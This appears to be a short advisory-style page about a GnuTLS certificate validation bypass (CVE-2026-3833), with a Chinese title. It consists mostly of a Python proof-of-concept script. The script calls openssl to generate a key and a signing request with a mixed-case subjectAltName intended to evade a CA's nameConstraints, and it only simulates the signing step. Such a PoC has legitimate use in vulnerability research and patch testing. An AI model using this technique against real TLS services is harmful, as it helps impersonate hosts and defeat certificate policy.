CVE-2026-3833 GnuTLS证书验证绕过漏洞

# PoC Concept: Generating a certificate with case-varied SAN to bypass nameConstraints # This requires a CA that has a nameConstraints extension configured. import subprocess import json # Configuration for the malicious certificate config = { "domain": "Example.COM", # Upper/Mixed case to potentially bypass lower-case policy "policy_domain": "example.com" # The domain defined in the CA's nameConstraints (permitted/excluded) } # Step 1: Generate a private key for the leaf certificate subprocess.run(["openssl", "genrsa", "-out", "malicious.key", "2048"]) # Step 2: Create a config file for the certificate signing request openssl_cnf = f""" [req] distinguished_name = req_distinguished_name req_extensions = v3_req prompt = no [req_distinguished_name] CN = {config['domain']} [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = {config['domain']} """ with open("malicious.cnf", "w") as f: f.write(openssl_cnf) # Step 3: Generate the CSR subprocess.run(["openssl", "req", "-new", "-key", "malicious.key", "-out", "malicious.csr", "-config", "malicious.cnf"]) # Step 4: Sign the CSR with a CA that has nameConstraints (Simulated) # In a real scenario, this would be signed by a vulnerable CA. # The resulting certificate 'malicious.crt' would then be presented to a service using GnuTLS. print(f"[+] Generated certificate for: {config['domain']}") print(f"[*] Attempting to validate against policy for: {config['policy_domain']}") print("[*] If GnuLS version is vulnerable, validation succeeds despite policy mismatch.")